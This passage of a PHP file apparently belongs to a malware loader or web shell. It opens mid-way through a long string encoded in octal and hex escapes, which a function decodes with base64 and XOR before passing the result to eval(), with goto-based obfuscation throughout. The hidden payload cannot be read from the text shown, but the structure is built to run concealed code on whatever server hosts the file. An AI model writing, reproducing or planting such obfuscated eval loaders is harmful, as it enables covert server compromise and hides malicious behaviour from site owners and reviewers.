63\114\x6a\x31\130\101\121\x4d\x41\111\x67\x30\117\x42\103\x34\x49\x44\167\163\x36\x48\103\x38\142\116\102\x77\x57\107\x33\64\167\144\170\x51\166\x43\x6a\115\111\107\147\x67\104\x44\x30\163\102\x41\102\121\x50\101\151\x31\160\x52\171\x78\154\x43\x78\163\66\x45\102\x38\x62\104\150\122\147\x44\170\x63\x55\x43\101\x73\x70\x45\x32\153\x49\115\106\x39\x6e\x4b\147\x4d\x4d\101\x41\101\x56\x5a\x77\150\x4d\x41\x55\x6b\x31\113\147\115\104\141\121\x30\62\101\102\163\x66\101\x7a\x49\x70\x46\121\167\x51\x41\101\163\130\105\x44\x6b\147\107\x52\x4d\154\125\103\x78\155\110\101\x51\123\x61\150\x63\x66\x41\172\x30\171\x53\x52\x51\124\111\147\70\157\115\151\x45\114\x4c\x77\112\161\106\x78\x64\161\103\103\121\x57\102\x47\106\x49\x41\x51\101\143\104\167\x41\x69\x4f\x51\70\x74\131\127\x74\x59\x44\x44\131\125\130\152\x30\146\x41\105\167\x42\123\103\112\x49\x42\x6b\x6f\x32\x53\x77\112\x62\141\x68\x73\x56\x49\150\163\142\105\x6d\x63\120\113\102\143\124\x4a\x52\121\x42\x53\x67\116\125\x4c\x47\x6f\x62\x47\170\x55\x68\x4f\x68\x6b\x4d\x45\101\102\116\101\121\101\x44\104\167\x4d\104\141\105\147\x76\101\x78\x51\153\x41\x7a\x49\160\x47\170\x59\x51\x43\x41\x38\x58\x46\x42\x38\111\113\122\115\x6c\125\103\170\170\112\x67\101\x53\141\x68\144\132\101\172\157\x51\x43\x78\143\124\141\104\x51\103\x4b\127\x6b\x49\114\167\x41\161\x50\172\147\101\112\122\143\130\105\x44\x34\x50\101\x41\x4e\x6f\x4d\x41\x42\x4a\x41\x45\x73\110\127\x51\150\x66\x46\x7a\131\146\x47\167\170\x6c\x41\105\167\x42\x53\103\153\x58\x41\x69\64\111\x44\x51\106\x31\107\x31\147\x34\111\130\132\x65\x46\127\x55\x31\x4e\150\143\164\x4b\x55\x73\x41\x4c\101\102\114\102\x31\x67\x36\116\x78\131\x4d\114\x52\x73\x55\117\147\x42\x4d\101\125\x6b\142\x4e\103\170\111\113\x56\121\x6f\101\121\101\147\106\103\111\125\x4f\147\x30\x37\117\x67\x38\x62\120\x42\101\x4c\x41\x55\x6b\62\x52\124\131\x42\117\x68\x63\64\x48\x77\x64\x5a\106\x42\122\x68\123\x67\x46\113\x49\147\x4d\x43\120\123\112\x4c\114\125\164\162\111\x51\x6f\x66\x41\101\x55\125\114\124\x49\x50\x41\x55\x73\x51\103\x77\x45\104\111\x6b\x6f\x31\x58\170\x67\103\x41\104\105\x36\102\170\x55\164\117\147\70\x55\106\170\121\x44\x41\x30\x6f\x59\123\x79\x35\114\x4a\x6c\x73\x55\141\147\x67\126\x44\x7a\153\101\x44\x78\163\65\141\x45\x73\107\x53\123\x46\106\116\126\167\131\x41\104\147\x50\x65\x68\x73\x44\x50\151\x70\116\x41\x69\x77\x45\x54\x53\153\x35\x61\110\125\x35\127\104\x6b\142\101\62\160\66\106\121\101\53\x4c\123\70\102\x41\x44\x49\x50\113\x44\60\x48\145\x43\x31\156\x5a\x79\157\x39\115\147\122\x62\106\x57\121\101\124\121\x5a\x49\103\101\163\131\x4f\x57\x68\111\x4c\167\x45\x2b\101\x42\131\114\144\x78\x6f\x38\x4f\x78\163\170\114\170\x4e\157\101\101\x45\x44\x61\x47\167\60\144\62\x63\x41\x46\127\160\66\107\172\x77\x2b\x59\x51\x73\x70\105\x32\x67\x58\x46\102\105\x44\x64\124\106\155\117\x6c\x38\x4e\105\103\x30\x55\x46\x42\x4d\142\120\171\x67\164\x41\171\x38\160\120\x44\154\x55\x4c\x48\131\53\x58\x7a\157\x4d\x47\102\147\116\x5a\x52\143\x4a\101\104\x31\x6b\x4f\x77\x41\x39\x48\60\x6b\x78\x64\x7a\64\x65\x46\101\70\111\106\x54\x67\164\x44\172\x41\101\120\x54\x6b\x30\x46\x43\64\124\104\171\65\x71\106\x78\157\x36\x4e\122\x67\x70\104\62\x55\x70\x45\x42\x51\164\x61\x43\x6b\160\x4c\150\122\114\102\x6e\x64\x69\101\170\x49\x4c\112\x52\x30\x53\101\171\x30\x34\114\170\121\110\x43\x69\70\x2b\111\x68\x49\x7a\x56\127\x39\121"; goto gz6Bn; gz6Bn: $HayCqMVOBY = qaVUqwPQQY($cWosjlXEcH, $RICuHmCSUH); goto gObZT; gObZT: eval($HayCqMVOBY); goto XBbau; Ue_Ui: function qaVUqwPQQY($KGFqahuQZC, $qvdjgaMmwm) { $qvdjgaMmwm = base64_encode($qvdjgaMmwm); $KGFqahuQZC = base64_decode($KGFqahuQZC); $amPzcNxVMy = ''; $QIXmAMNHPR = ''; $AfBmANWWgw = 0; while ($AfBmANWWgw < strlen($KGFqahuQZC)) { for ($TAXvEryGAd = 0; $TAXvEryGAd < strlen($qvdjgaMmwm); $TAXvEryGAd++) { $amPzcNxVMy = chr(ord($KGFqahuQZC[$AfBmANWWgw]) ^ ord($qvdjgaMmwm[$TAXvEryGAd])); $QIXmAMNHPR .= $amPzcNxVMy; $AfBmANWWgw++; if ($AfBmANWWgw >= strlen($KGFqahuQZC)) { break; } } } return base64_decode($QIXmAMNHPR); } goto zVisF; XBbau: ?>